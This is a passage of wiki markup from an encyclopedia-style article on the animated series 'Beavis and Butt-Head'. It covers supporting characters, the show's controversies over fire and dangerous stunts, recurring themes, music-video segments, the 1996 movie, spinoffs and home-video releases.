| Daria is a sarcastic, vaguely alt-rockerish, nerdy girl who attends Highland High with Beavis and Butt-Head. She is one of the few people who sees the two for what they truly are and doesn't naively believe that they just need to be reached, nor does she get stressed out by their idiocy.  While not above taking jabs at them for their lack of intelligence, she also offers help and advice from time to time, and probably respects them a little more than most do. The duo nicknamed her &quot;Diarrhea.&quot; She eventually went on to star in her own spinoff series, ''[[Daria]]''.
|-
|align=&quot;center&quot;| [[Image:BB Todd.jpg]]
| [[Todd Ianuzzi]]
| Todd is a twenty-something thug who is rude, arrogant, and violent. Because of this, Beavis and Butt-Head look up to him and aspire to be included in his gang. Todd despises the two, but will take advantage of them when he needs something, such as money or a place to hide from other gangs or the police.  Todd's face is covered with acne and he always wears mirrored sunglasses. He drives a primer patched green hotrod, often onto lawns, through garbage cans and over Beavis and Butt-Head's bikes. He wears a mechanic's shirt with the sleeves torn off and his name on it.
|-
|align=&quot;center&quot;| [[Image:BB Stewart.jpg]]
| [[Stewart (Beavis and Butt-head)|Stewart Stevenson]]
| A nerdy, short kid who looks up to Beavis and Butt-Head and thinks they are his best friends.  In actuality, Beavis and Butt-Head think little of Stewart, are only willing to hang out with him on their own terms, and don't usually appreciate it when he imposes himself on them.  Stewart wears a shirt with the logo for &quot;[[Winger]]&quot; on the front.
|-
|align=&quot;center&quot;| [[Image:BB Stevensen.jpg]]
| '''Mr. Stevenson'''
| Father of Stewart. He hates Beavis and Butt-Head, but occasionally becomes side-stepped by exasperating situations that subsequently render him more tolerant of them for the moment.  His love of [[pornography]] provides Beavis and Butt-Head with most of their access to naked women while they pillage through the Stevenson home. Mr. Stevenson was, at one point, shown as a teacher at Highland High, but later was no longer depicted in this position.
|}



===Minor supporting characters===
*'''Mrs. Stevenson'''.  Stewart's mother and good-natured housewife, who is depicted as something of an airhead.  She believes that Beavis and Butt-Head are good friends with her son but is oblivious to their antics and cheerfully welcomes them in the door.  The duo pay her little respect or attention except in regard to her large breasts.  In the season 2 episode ''Stewart's House'', she had a Southern accent, but for the rest of the series she possesses a thick [[Midwestern]] accent.

*'''Lolita and Tanqueray'''.  Two trailer-trash vamps. They usually exploited their sexuality in order to manipulate the duo out of their money, concert tickets, or some other thing that they wanted. They almost made out with Beavis and Butt-Head on the set of a youth talk show because &quot;they were feelin' horny&quot; but ended up making out with stagehands instead (to Beavis' dismay) when the duo were momentarily distracted. It is also implied that the two once appeared in a sexually explicit video of some sort.

*'''Clark Cobb'''. Cobb is the owner of Cobb's Family Hardware and a card-carrying member of the Christian Businessmen's Association. He has a sock puppet named Socko, which he uses to try to teach evangelical lessons.

*'''Burger World Manager'''.  The duo refer to him as &quot;That Manager dude.&quot;  He shows more patience with the two than some of the other characters, but he often gets tired of their incompetence and goofing off on the job. The fact that he hasn't fired them yet either points out that he holds sympathy for the boys' stupidity, or that he is as incompetent as they are.

*'''Maxi Mart Owner'''. This working stiff wears a &quot;butt cut&quot; hairstyle, has an ornery nature, and is one of the local business owners habitually annoyed by Beavis and Butt-Head. The duo often loiter in his convenience store, Maxi Mart, while trying to pick up chicks. He occasionally gets back at them by selling Butt-Head old, stale, bug-infested nachos in one episode, and by selling both Beavis and Butt-Head used forks and stale donuts in another. 

*'''Mr. Manners/Mr. Candy'''. Mr. Manners was an educational speaker who initially came to Highland High to teach the kids proper manners; he later returns as Mr. Candy, promoting a candy-bar-selling drive for the school.  During his instructional sessions, he instantly clashes with Beavis and Butt-Head.  Beavis dislikes him immediately and exacts revenge by accusing the man of seuxally molesting him.  When he fights back, he winds up getting into confrontations with Mr. Van Driessen and Mr. Buzzcut.  This character was voiced by actor [[David Spade]]. 

*'''PATSIES'''. The group P.A.T. (Positive Acting Teens) consists of goody-goody honor-student caricatures, who also interact positively with Stewart. The two most prominent members are &quot;good versions&quot; of Beavis and Butt-Head.

*'''Janitor/crazy farmer'''. The janitor of Highland High is shown in different contexts. At times, he is simply a janitor. Other times, he is portrayed as a slow-witted, bluish grey skinned farmer who is dangerously senile. In the episode &quot;Cow Tipping&quot;, he attempts to decapitate Beavis with a chainsaw. The Janitor and the Farmer may be the same person, or may simply be related. There is likely no explanation for the unusual nature of the Farmer, and is most likely meant to provide a creepy effect.

*'''Gina'''. Todd's girlfriend appears several times. She works in a beauty salon and has a heavily hairsprayed 80's metalhead appearance. 

*'''Kimberly'''. A pretty girl who is often the object of unwanted physical attention from Beavis and Butt-Head. She refused to practice CPR on them during Buzzcut's swimming class. The duo filed an unsuccessful sexual harassment suit against her for turning them on (or giving them &quot;stiffies&quot;).

*'''Cassandra'''. Like Kimberly and Daria, a female classmate of Beavis and Butt-Head.  She wears glasses, [[Dr. Martens]] boots, and a shapeless blue dress. She usually has no direct interaction with Beavis and Butt-Head, appearing mainly as the show's other parody (besides Mr. Van Driessen) of [[hippie]] or [[New Age]] thought.

*'''Billy Bob'''.  Billy Bob was an earlier recurring character who stopped appearing in the later seasons.  Depicted as an obese redneck, Billy Bob does not wear clothes for some reason, and is often shown in only a cowboy hat and briefs.  He often smokes a cigar. He is not to be confused with Bob, a heavyset cowboy who owns Bob's Fancy Skeet.

*'''Mrs. Dickie'''.  One of the few female teachers at Highland, and occasional customer at Burger World.  Like everyone else, she too is annoyed by Beavis and Butt-Head.

*'''[[President Bill Clinton]]'''.  President Clinton appeared in a two-part episode, as well as the movie. Both times, he met Beavis and Butt-Head and befriended them.

*'''Redneck woman'''.  This woman has never been named, but appeared a number of times, most notably in an episode where Beavis and Butt-Head dial a phone-sex hotline. She is usually depicted in a messy trailer with a husband who silently watches TV in the background. She is sometimes seen driving the bus to the highschool as well. Her husband is a skinny middle aged man in his underwear with a gut, a cap, sunglasses and a cigarette who appears to be a prototype for [[Dale Gribble]] from [[King of the Hill]].

*'''Earl'''. A fellow student, he has buzzcut hair, a tough angular face, and a black shirt buttoned tightly at the collar. He often sits in the front row of class, usually looking at pictures of nude women in a men's magazine, and prefers to remain silent.

*'''Spanish Teacher'''.  Highland High's Spanish teacher is a middle-aged Hispanic man who hates Beavis and Butt-Head, much like the other teachers. He had a number of early appearances, but has since faded into the background.

*'''Bill'''.  An old man who owns the bar that Tom Anderson frequents. Both of them were in the military. He once unwittingly contributed to their antics. When Bill asked Anderson to watch the bar for a few hours, Anderson put Beavis and Butt-Head in charge of a yard sale he was holding at the time. While he was gone, the two sold everything inside his house for almost a hundred dollars.

*'''Collette'''. Tom Anderson's poodle. She appeared in a few episodes, but the most well known was when the duo attempt to give her a bath by putting her in a clothes dryer. The duo broke all of her teeth when they made her fetch a plate.

*'''Thor'''. Appeared a few times in some of the earliest episodes. His physical stature represented that of a gorilla, and he was often summoned to deal with Beavis and Butt-Head if they were being disruptive at a place of business. This involved him grabbing the duo by their ankles and repeatedly slamming them onto the ground.

*'''Doctor'''. Highland's unnamed town doctor appears several times, a testament to the number of times Beavis &amp; Butt-head have injured themselves with their antics.

*'''Vinnie and Frankie'''. Slicker drawn parallel versions of Beavis and Butt-Head that, occasionally, show up on television or in educational film strips that the two are watching.  While Vinnie and Frankie are depicted as being every bit as reckless as Beavis and Butt-Head, they come off as older and less silly. They are also, reportedly, Judge's early sketches of Beavis and Butt-Head themselves.

*'''Attorney Joe Adler'''. Joe Adler is a sleazy Highland lawyer specializing in frivolous lawsuits and personal injury cases. Beavis and Butt-Head hired him in one episode to sue their classmate Kimberly for sexually &quot;harrassing&quot; them. In another episode, the boys (influenced by an Adler TV ad) staged an accident with a schoolbus in order to &quot;get rich&quot; by claiming a whiplash injury.

===Memorable One-offs===

*'''Killer'''. An unnamed serial killer who once escaped from the local prison. He has a jailhouse tattoo of the word &quot;killer&quot; on his forehead, which Beavis and Butt-Head misread and assume is his name, &quot;Kyler&quot;. After being diverted from killing the two by having a confusing conversation about tattoos, he gives them tattoos on their butts, of a picture of a butt with a picture of a butt on it. 

*'''Rabid Ron'''. A local radio host for a station called KT&amp;A whose show was ruined after Beavis and Butt-Head won a guest DJ spot and gained popularity with his audience by tactlessly ridiculing Ron on air for being a 40'ish Heavy Metal poser. He would subsequently retool his on-air persona as an imitation of the two youths. 

*'''Madame Blavatsky'''. Madame Blavatsky was a sham fortune teller who spoke in a faux-Romanian accent. She attempted to tell Butt-Head's future once, only to have Beavis seize her crystal ball and give predictions of a war, which turned out to be the reflection of a news broadcast from the TV behind him. Her character is based on the real person of Russian origin, [[Madame Blavatsky|Elena Blavatsky]]. 

*'''Gus Baker'''. A parody of [[Rush Limbaugh]], Gus mistakenly believed Beavis &amp; Butt-head to be positive young role models and brought him on his talk show to discuss &quot;immoral music videos.&quot; Beavis and Butt-Head enjoyed Baker's television program, particularly his advocacy of the death penalty for criminals, Beavis exclaiming &quot;Give 'em the chair! The chair!&quot; Baker's show, and his [[Grassroots]] Presidential campaign, were ruined when Beavis [[mooning|mooned]] him on live TV.

==Questionable content==

Mike Judge created the Beavis and Butt-Head characters for an animated short for the ''[[Spike and Mike's Sick and Twisted Festival of Animation]]''. This short, named &quot;Frog Baseball&quot;, was aired on MTV's independent animation showcase ''[[Liquid Television]]'', and featured the two playing baseball with a living frog as the ball.

The duo lent popularity to slang terms including &quot;buttmunch&quot;, &quot;fartknocker&quot;, &quot;[[bunghole]]&quot;, &quot;[[choad]]&quot;, &quot;[[ass munch]]&quot;, &quot;[[toilet paper|TP]]&quot;, &quot;[[slang terms for masturbation|spank the monkey]]&quot; and others.  Early episodes gave them a juvenile [[pyromania|obsession with fire]] and dangerous behavior.  The show was blamed for child deaths as the result of fire and dangerous stunts. The references were excised from further broadcastings, being replaced to some extent with simply silly stunts, bad pick-up lines, etc.  References to fire were cut from earlier episodes in reruns. Other episodes MTV opted to not rerun.

Jabs at the controversy were made in subsequent episodes.
* Beavis tries to light a cigarette but cannot get the lighter to work.
* In one episode, Beavis chants &quot;liar, liar&quot;, saying it as &quot;liar, liar, pants on...heh...woah!&quot;
* Beavis shouts &quot;water&quot; in the same manner as that in which he would shout &quot;fire&quot;.
* Beavis watches the video &quot;California&quot; by the [[punk-rock]] band [[Wax (band)|Wax]]. It includes slow-motion footage of a man running while covered in flames.  Beavis remains sublimely transfixed throughout the video, capable of uttering nothing more than &quot;Oooooh… Aaaaaah…&quot;
* When the song &quot;[[Great Balls of Fire]]&quot; by [[Jerry Lee Lewis]] came up during a video, Beavis could not resist saying the last word for the title in his signature style.

The original disclaimer in the first and second seasons shown before each episode was:

:''Beavis and Butt-Head are not real. They are stupid cartoon people completly made up by this Texas guy who we hardly even know. Beavis and Butt-Head are dumb, crude, ugly, thoughtless, sexist self-destructive fools. But for some reason the little wienerheads make us laugh.''

The word &quot;completely&quot; in the original disclaimer was also misspelled as &quot;completly&quot;.

Early episodes with the controversial content intact are rare and traded on home-made tapes made from the original broadcasts. In an interview included with the recent Mike Judge Collection DVD set, Judge says he is unsure if some of the earlier episodes still exist in their uncensored form.  

MTV also responded by broadcasting the program after 11:00 P.M., and changing the original disclaimer to a new one, reminding viewers that:

:''Beavis and Butt-Head are not role models.  They're not even human, they're cartoons.  Some of the things they do could cause a person to get hurt, expelled, arrested... possibly deported.  To put it another way, don't try this at home.''

This disclaimer also appears before the opening of their [[Sega Genesis]] game.

''Beavis and Butt-Head'', along with ''[[Ren and Stimpy]]'' and ''[[The Simpsons]]'', pushed the boundaries of cartoons away from clean material for small children. They were famously lambasted by Democratic senator [[Fritz Hollings]] as &quot;Buffcoat and Beaver&quot; which would subsequently become a running gag on the show of adults mispronouncing their names (Ex.: Rush Limbaugh's parody &quot;Gus Baker&quot; in the episode &quot;Right On&quot;).  Such an example is a reporter calling them &quot;Brevis and Headbutt&quot;. Critics, though split upon the cultural merits of the cartoon, often compared the dialogue to that of [[Samuel Beckett]].  Social commentary was a recurrent theme throughout the series.

Beavis and Butt-Head have been compared to idiot savants, because of their creative and subversively intelligent observations of music videos. This part of the show was mostly improvised by [[Mike Judge]] (who performed both characters simultaneously) and are considered by many to be the show's highlight.  With regard to criticisms of Beavis and Butt-Head as &quot;idiots&quot;, Judge has responded that a show about straight-A students just wouldn't be funny. However, Daria, who academically excelled, then proceeded to star in her own critically acclaimed series.

===Recurring themes===
The series has a number of recurring elements.  

They cause havoc at their place of employment, Burger World. Beavis and Butt-Head spend little time working, and when they try to work, they are often too incompetent to even take a customer's order.  They often enjoy frying things other than food such as earthworms, dead mice, and their own fingers. The boys have also unintentionally had brief stints as [[secretary|secretaries]] and [[Telemarketing|telemarketers]].

They cause trouble at school. They are usually pitted against their teachers and other school officials. [[Principal McVicker]], whom they occasionally refer to as &quot;McDicker&quot;, is visibly agitated by the duo's antics. At the end of the final episode, Beavis and Butt-Head's antics exasperate McVicker to the point where he suffers a heart attack.

One of their most prominent goals in life is to &quot;score&quot; with chicks. Throughout the series neither of them meets with any success. They occasionally spend Friday nights at the local Maxi-Mart, attempting to pick up on any female they encounter. This continues until the manager runs them off. 

Beavis often transforms into his alter ego, the [[Cornholio|Great Cornholio]]. Beavis's transformation into Cornholio is indicated by pulling the back of his t-shirt over the top of his head, holding both arms up, pacing back and forth, proclaiming largely nonsensical utterances in an exaggerated Spanish-sounding accent, such as &quot;I am the great cornholio! I need TP for my bunghole! Are you threatening me?&quot; This transformation is prompted when Beavis rapidly consumes a large amount of sugar, caffeine, or other stimulants. In one episode, the duo wanders into a [[Bohemianism|bohemian]] coffeehouse, where an open-mic poetry slam is in session. Beavis takes a turn at the mic after ingesting a large amount of cappuccino, and the audience hails his antics as performance art. In another episode he transforms into Cornholio while at Burger World, as an INS official visits for a surprise inspection, searching for illegal aliens. Beavis' pseudo-Hispanic ramblings prompt the INS officer into thinking he is from Mexico, and Beavis is deported.  Beavis also assumes the Great Cornholio persona for the climactic scenes of ''Beavis and Butt-Head Do America''. In a scene archetypical of the Great Cornholio's manic genius, he finds himself alone in the White House, confronting a portrait of President Nixon in his famous 2-armed &quot;V for Victory&quot; pose. His response epitomises a first impression of President Nixon, boldly, respectfully, and with high alertness for how President Nixon might respond.

===Locations===

There are several prime locations featured in the series. All these locations are located within the fictional town of Highland, which is alluded to be located somewhere in [[Texas]].
*'''Living room'''.  Located at Butt-Head's house, much of the action, and all of the video segments, take place or begin here, with the two sitting on the couch, watching TV. 

*'''Highland High School'''.  Probably the most visited location in the series.  

*'''Burger World'''.  The fast food restaurant where Beavis and Butt-Head assume grill and drive-thru/front register duties respectively. It is regurarly damaged or completely demolished by the duo.  

*'''Tom Anderson's house'''.  Anderson's house is continually vandalized and destroyed by Beavis and Butt-Head.  It is a typical middle class suburban home.

*'''Maxi-Mart'''.  An obvious parody of [[7-Eleven]] and similar outlets.  In contradiction to the continuity of the series, it has been shown as being called &quot;Qwik-Mart&quot; in a few episodes.

*'''Open field'''.  A grassy field backdropped by a large water tower. This is where Beavis &amp; Butt-Head can be found carrying out destructive experiments or setting things on fire.

*'''The Mall'''.  A preferred loitering spot for the duo. 

*'''Stewart's House'''. Beavis and Butt-Head occasionally visit Stewart's house. Their visits often entail damaging something in the house.

==Holiday specials==
At least three holiday specials were produced -- one for Halloween and two for Christmas.  

The Halloween special involved them attempting to trick-or-treat, in ridiculous costumes. Butt-Head pours melted cheese on his head and becomes &quot;nachos&quot;, while Beavis wears a pair of underwear on his head and is a &quot;nad&quot;. Beavis and Butt-Head eventually become separated. After stealing some kids' candy, Beavis turns into the Great Cornholio. Butt-Head is taken to the country and deserted by Todd and his gang, where he is confronted by the crazy farmer. Eventually Beavis wakes up after his sugar high to find himself hanging in the farmers barn. At the end of the episode it is implied (but not shown) that he is killed by a now blue skinned Butt-Head and the farmer who are both wielding chainsaws.

The first Christmas special featured the pair sitting in front of the television providing crude commentary on various aspects of Christmas.

The second Christmas special consists of two segments that parodied popular Christmas stories. The first was a parody of ''[[A Christmas Carol]]'', featuring Beavis as Ebeneezer Scrooge. The second was a send up of ''[[It's A Wonderful Life]]'', with an angel named Charlie trying to convince Butt-Head to kill himself for the good of all mankind. The special also contained short segments where Butt-Head dressed as Santa and read letters from viewers, while Beavis was dressed as a reindeer whom Butt-Head occasionally struck with a bullwhip.  The running joke during these segments was that in every letter written by a girl, she wants Beavis, which pisses off Butt-Head and leads him to hit Beavis even more with the bullwhip.  

All of the letters read by Santa Butt-Head were actually sent in by MTV viewers, as several months before the special aired, MTV had a commercial encouraging viewers to write letters to Santa Butt-Head, and provided an address to which they could be sent.

==Music videos==
''For a full list of musical artists on Beavis and Butt-head, see [[List of musicians appearing on Beavis and Butt-head]].''

One of the most well-known aspects of the series was the inclusion of music videos, which occurred between animated segments. The duo would watch and make humorous observations, or simply engage in nonsensical dialogue.

They showed a particular disdain for many generic 80s [[hair metal|hair bands]]. Upon seeing a video by [[Def Leppard]], Butt-Head remarks that &quot;[[Spinal Tap]] really sucks&quot;. Their epitome of &quot;wuss bands&quot; was [[Winger]], which their friend Stewart was a big fan of. They've also continuously said that [[Grim Reaper (band)|Grim Reaper]] sucks.

Bands they liked were also mocked. They were disappointed by an [[AC/DC]] video, despite the fact that they were fans of the group. Midway through viewing [[Judas Priest]]'s cheesy &quot;Breaking The Law&quot; video, Butt-head remarks, &quot;I like Priest and everything, but this sucks!&quot;  At times, the criticism reflects their young age and ignorance of music history. Upon seeing a video by [[Black Sabbath]], they decide that the band's vocalist can't be [[Ozzy Osbourne]], because &quot;Ozzy's an old fart!&quot; Butt-head mistakes their sound for [[grunge rock|grunge]] and inquires if they are from Seattle, Beavis replies &quot;No, they're American.&quot;

Beavis and Butt-Head expressed complete enjoyment rarely. [[Nirvana (band)|Nirvana]]'s [[Kurt Cobain]] is said to have been ecstatic at having the video for &quot;Smells Like Teen Spirit&quot; praised by Beavis and Butt-Head and deemed it a great compliment. [[Hum (band)|Hum]] appeared to be responsible for their favorite video ever when they mistakenly thought the song &quot;Stars&quot; was over long before the actual end of the song. Beavis became hyper with joy saying &quot;Yeah!, [[Megadeth]] !&quot; while watching the video &quot;Sweating Bullets&quot; and Butt-Head told Beavis that Dave Mustaine's singing voice was similar to Beavis's speaking voice. [[White Zombie (band)|White Zombie]], [[Type O Negative]], [[Onyx (band)|Onyx]], the [[Violent Femmes]], the [[Beastie Boys]], [[Suicidal Tendencies]] and [[Pantera]] were also among the few groups for whom Beavis and Butt-Head expressed appreciation, and the two groups that earn their fondest reviews are [[Gwar]] and the [[Butthole Surfers]]. Beavis voiced his estimation that every video should be like a Gwar video. The video which the duo declared to be officially the 'best ever' was Ministry's 'Just One Fix'.  During [[William S. Burroughs]]' appearance in that video Beavis declares 'Even the old guy is cool!' Ironically, a large number of fans of the group [[Army of Lovers]] attest to having discovered the group from the appearance of a video of theirs on Beavis and Butt-Head, in which both of the boys expressed frustration with the frequent shifts between scenes they deeply enjoyed and scenes they found disturbing. Beavis and Butt-Head treat [[Lemmy Kilmister]], of [[Motörhead]] fame, like a V.I.P. whenever he appears. One occasion of this was when Lemmy walked into a [[Ramones]] video and Beavis says to Butt-Head, &quot;Whoa! Butt-Head, look! It's Lemmy! It's Lemmy! What's he doing there?!&quot; Butt-Head responded, &quot;He's Lemmy, dumbass. He can walk into any video he wants.&quot;

Beavis and Butt-Head had especially severe reactions when confronted with videos they found particularly awful. As soon as Butt-Head realized he was watching a [[Michael Bolton]] video, he announced that he had [[incontinence|soiled]] his pants. The ultimate put-down was to simply look at each other, each with a look of horror and then switch the channel without saying a word. Only [[Vanilla Ice]]'s &quot;Ice Ice Baby&quot; and [[Milli Vanilli]] were considered so egregious as to deserve this fate. (Although in a later episode, they did watch another Vanilla Ice video, giving it the full round of criticism.)

The duo would occasionally engage in physical humor during the videos.  These antics ranged from simple comic violence, such as slapping, punching, and kicking one another, to the duo's memorable dances, which ranged from a few simple arm motions, to one dance where Butt-Head jumps back and forth across the room.

==Beavis and Butt-Head: The movie==
[[Image:Buttmovie.jpg|right|thumb|Poster for ''Beavis and Butt-Head Do America'']]
''[[Beavis and Butt-Head Do America]]'', was released in [[1996]]. The movie features the voices of [[Bruce Willis]], [[Demi Moore]], [[Cloris Leachman]], [[Robert Stack]], [[Eric Bogosian]], [[Richard Linklater]], [[Greg Kinnear]] (in an uncredited role), and [[David Letterman]] (credited as [[Earl Hofert]]). The film's plot follows Beavis and Butt-Head on a journey to retrieve their stolen television set. They travel across the [[United States]] and become involved in a biological weapon smuggling scheme that they remain unaware of throughout the film.  The journey takes them to [[Washington, D.C.]] where they meet [[Bill Clinton|President Clinton]] (voiced by Dale Reeves). Tom Anderson, David Van Driessen and Principal McVicker have cameos.
{{spoiler}}
In the film, Beavis and Butt-Head befriend two characters who are older look-alikes of themselves. A scene that follows shows the [[FBI]], running 'samples' left by Beavis and Butt-Head in Mr. Anderson's camper through a national prison sperm bank, establishing these characters as possible fathers of the duo (the show alluded to Beavis and Butt-Head being illegitimate and having never known their fathers). In the next scene, one of the older look-alike characters (voiced by Letterman) tells Beavis and Butt-Head a story about how &quot;he scored with these two chicks&quot; fifteen years ago when they were in Beavis &amp;amp; Butt-Head's hometown of Highland as roadies for [[Mötley Crüe]]. He then dismisses the other look-alike's claim of having sex with either woman, and is met with no rebuttal. This scene leads to some debate as to whether or not it is revealed that Beavis and Butt-Head are actually biological half-brothers, and that the two have lived their entire lives unaware of this fact. Nevertheless, Beavis and Butt-Head appear oblivious to these clues that point out that they have finally met their father(s).

==''The Beavis and Butt-Head Experience'' album==
A CD appeared, named ''[[The Beavis and Butt-Head Experience]]'' featuring many hard rock and heavy metal bands, such as [[Megadeth]] and [[Nirvana (band)|Nirvana]]. Moreover, Beavis and Butt-Head do a duet with [[Cher]] on &quot;I Got You Babe&quot; and a track by themselves named &quot;Come to Butt-Head&quot;.  The track with Cher also resulted in a music video, which hints strongly at the end that Butt-Head &quot;scored&quot; with Cher (after telling Beavis to leave).

==Other appearances==
[[Image:Buttcomic.jpg|right|thumb|Beavis and Butt-Head reading a Beavis and Butt-Head comic.]]
[[Image:Bbliveaction.jpg|right|thumb|Two characters resembling the duo on ''[[Step By Step]]''. Some like to consider this a live-version cameo of the &quot;actual&quot; characters.]]
* Beavis and Butt-Head made an &quot;appearance&quot; on the Late Show with Dave Letterman. Prior to this, creator Mike Judge was a guest on the same show, and showed Dave a brief short in which Beavis &amp; Butt-Head were drawn with the physical characteristics of [[Paul Shaffer]] and Letterman.
* The characters were presenters during the [[1997 in film|1997]] [[Academy Awards]] telecast.
* Beavis and Butt-Head have also appeared in a comic book series released by [[Marvel Comics]], and many video games, like ''Virtual Stupidity'', ''Bunghole in One'' and ''Beavis and Butt-Head Do U''.
* They appear in voice only in the live-action film ''[[Airheads]]''. When a radio DJ is taking call-ins, Beavis and Butt-Head call. Mike Judge supplied the voices himself for the movie.
*On an episode of the ABC sitcom ''[[Step by Step]]'', there are two male actors who resemble Beavis and Butt-Head and act like them too.
* On a [[Christmas]]-themed episode of [[Saturday Night Live]], the characters appeared on the show's [[Weekend Update]] sketch and conversed with [[Norm MacDonald]]. Situated outside of [[Rockefeller Center]], Butt-Head was dressed to resemble [[Santa Claus]] while Beavis donned a [[Rudolph the Red-Nosed Reindeer]] costume.
* In the [[1999 in film|1999]] [[Hugh Grant]] film ''[[Notting Hill]]'', Beavis and Butt-Head's image is seen on a [[stained glass window]].
* Butt-Head made a brief cameo in the MTV animated series [[The Head]].
* Beavis &amp; Butt-Head appeared on the MTV series ''[[Celebrity Deathmatch]]'', in which both men fought each other. Beavis wins the fight when he becomes Cornholio. Their voices were not performed by [[Mike Judge]].
* On the [[Adult Swim]] sketch show ''[[Robot Chicken]]'', a featured parody of the Cartoon Network animated series ''[[Teen Titans (animated series)|Teen Titans]]'' has Beavis and Butt-Head joining the team. Their attitude lands them and the team in trouble. They are chauvinistic to [[Starfire (comics)|Starfire]] and insult [[Raven (comics)|Raven]]'s [[goth]]ic nature. They also sing the theme song from the ''[[Batman (TV series)|Batman]]'' television series when [[Robin (comics)|Robin]] is around. Mike Judge did not voice the duo in this parody.
* Beavis &amp; Butt-Head presented an award at the 2005 [[MTV Video Music Awards]].
* On the 2005 ''MTV Video Music Awards'', Beavis and Butt-Head appeared in a couple of Viewers Choice award skits, saying to &quot;Vote to put Beavis and Butt-Head back on MTV!&quot;. The duo have made appearances at other VMAs during the series' run.
* In an episode of the TV show [[Friends]] [[Joey Tribbiani]] and [[Chandler Bing]] dedicate themselves to not leaving two overstuffed recliners situated in front of a large TV, they are shown at one point watching Beavis and Butt-Head and inadvertently imitating them.
* Beavis and Butt-Head also appear in an episode of [[Saturday Night Live]]'s [[TV Funhouse]], where Colin Powell is depicted fielding questions from teens on a MTV talk show. As he becomes increasingly irritated by the teenagers he begins to imagine that the whole audience has morphed into dozens of chuckling Beavis and Butt-Heads.
* Beavis and Butt-Head appear in the movie [[Austin Powers: International Man of Mystery]], when Dr. Evil has threatened the [[United Nations]] and attempts to end transmission, but has trouble ending it, so he accidentally switches to Beavis and Butt-Head, in which Beavis (Apparently referring to [[Total Recall]]) enthusiastically says, &quot;Check it out, Butt-Head, this chick has three boobs!&quot; Butt-Head replies, &quot;How many butts does she have?&quot;
* A similar pair of characters, named &quot;Porkhead and Wiener&quot;, appeared on the fictional network MVT (Music Video Television) in some episodes of [[Night Stand with Dick Dietrick]].
* In the [[Tiny Toon Adventures]] Spring Break Special, [[furry]] versions of Beavis and Butt-head called Beaver and Bighead appear at the beginning and end of the special. Beaver, as his name implies, is a [[beaver]], while Bighead appears to be a [[pig]]. When the Tiny Toons head for Florida at the beginning, Beaver and Bighead appear for the first time, hitchhiking. Beaver assumes that their ride is coming, but Bighead corrects him, and goes on to say that the Tiny Toons &quot;stink&quot;. Beaver and Bighead are then flattened by the bus. They again appear at the end, warning parody versions of [[Ren and Stimpy]] that they're about to be hit by the Tiny Toons bus, which is returning to Acme Acres. They ignore the warning and are promptly ran over. Beaver and Bighead laugh at their misfortune before once again joining the [[roadkill]] by the same bus. Beaver and Bighead are voiced by [[Rob Paulsen]] and [[Jeff Glen Bennett]], respectively.
* ''Life With Jon '' Season 2 episode 45 Bill Thompson's character Tim &amp; Luther Reing's character Allen watch an episode of Beavis &amp; Butthead and get in trouble when [[Jon Heder]]'s character Jon finds them watching it.
*In an episode of [[Arthur (TV series)]] there was a shot of two peanuts that looked similar to Beavis &amp; Butthead laughing like them, on a comic book,&amp; on a video game. Another was on the episode &quot;The Contest&quot; where Arthur &amp; Buster act like Beavis &amp; Butthead.
They see Muffy dressed retro style, Buster says &quot;Hey look' it's the fifth Teletubbie.&quot;
==Spinoffs==
A spinoff show based on their classmate [[Daria Morgendorffer]], ''[[Daria]]'', was also created. Mike Judge was not credited as a producer of this series and said he was not only not involved with it at all except to give permission for the use of the character, but has never seen more than three minutes of the show. The Daria character had been created for ''Beavis and Butt-Head'' by [[Glenn Eichler]], who became a producer for ''Daria''. In the first episode of ''Daria'', Daria and her family move from Beavis and Butt-Head's hometown of Highland to Lawndale. None of the other characters from ''Beavis and Butt-Head'' ever appear on ''Daria''.

[[King of the Hill]] was created by [[Mike Judge]] and at least owes its start to the success of ''Beavis and Butt-Head''. Lending credence to its status as a spinoff the main character, Hank Hill, sounds just like and looks rather similar to Mr. Anderson. Indeed, the show was preceded by rumors, before ''Beavis and Butt-Head'' stopped airing, which Judge was going to do a spin-off show about Mr. Anderson.

==Video and DVD==
All VHS collections of episodes are out of print. They were compiled into two sets of three multi-episode Time-Life DVD releases called &quot;The Best of Beavis and Butt-Head&quot;, which are also no longer available. A set of three DVDs from Time-Life containing the same content as the first 3 VHS editions was released in December 2002. The remaining 3 VHS programs were also released on DVD soon afterwards but were not equally advertised (if at all) and are subsequently rarer. 

A two-disc DVD set titled ''The History of Beavis and Butt-Head'' was scheduled for release in September 2002, but was cancelled at the last moment. Many copies were mistakenly put on store shelves on the scheduled release date, only to be immediately recalled. The set started selling on [[eBay]] at very high prices, sometimes over $300 USD.  According to creator Mike Judge, the ''History'' set was made up of episodes that Judge had previously rejected for home video release and was prepared without his knowledge or consent. Judge said in an interview, &quot;it was basically all the worst episodes, with some exceptions.&quot; Judge owns approval rights for video releases of the series, and the ''History'' DVD set was recalled at his demand.

''On [[November 8th]], 2005, MTV and Paramount Home Video released the three-disc &quot;Beavis and Butt-Head Volume One: The Mike Judge Collection''. The DVD set includes approximately eleven music video segments from the original shows. All prior VHS and DVD releases have lacked these segments except for the VHS release of ''Beavis and Butt-Head Do Christmas'', and the last disc of the second and last Time-Life set, presumably due to the difficulty involved in acquiring [[Music licensing|music rights]] for the videos. This last disc, entitled &quot;Hard Cash&quot;, appeared to have made room for four music videos since it contained half the episodes (one VHS worth) of most of the other volumes (typically the combination of content formerly occupying two VHS tapes). Many fans were disappointed by the release because it was heavily edited - scenes like when the duo are &quot;horny&quot; for the [[The Brady Bunch|Brady girls]] are missing. A second Mike Judge Collection is planned for 2006, although an exact date has yet to be announced.''

On [[January 26th]], [[2006]], MTV and [[Apple Computer]] released Beavis and Butt-Head, Vol. 1 on [[iTunes Music Store]].

==Books==
&quot;Beavis and Butt-Head This Book Sucks&quot;.&lt;BR&gt;
&quot;Beavis and Butt-Head Ensucklopedia&quot;.  Published December 1994. &lt;BR&gt;
&quot;Beavis and Butt-Head Huh Huh for Hollywood&quot;.  Published November 1996. &lt;BR&gt;
&quot;Beavis and Butt-Head The Butt-Files: Beavis and Butt-Head's Guide To Sci-Fi And The Unknown&quot;.  Published August 1997.  &lt;BR&gt;
&quot;Beavis and Butt-Head Chicken Soup for the Butt&quot;.  Published November 1998. &lt;BR&gt;
&quot;Beavis and Butt-Head Reading Sucks:  The Collected Works of Beavis and Butt-Head&quot;.  Published December 2005.  This collection is a bundle of the four books listed above which are no longer in print separately. &lt;BR&gt;

==Social influence==
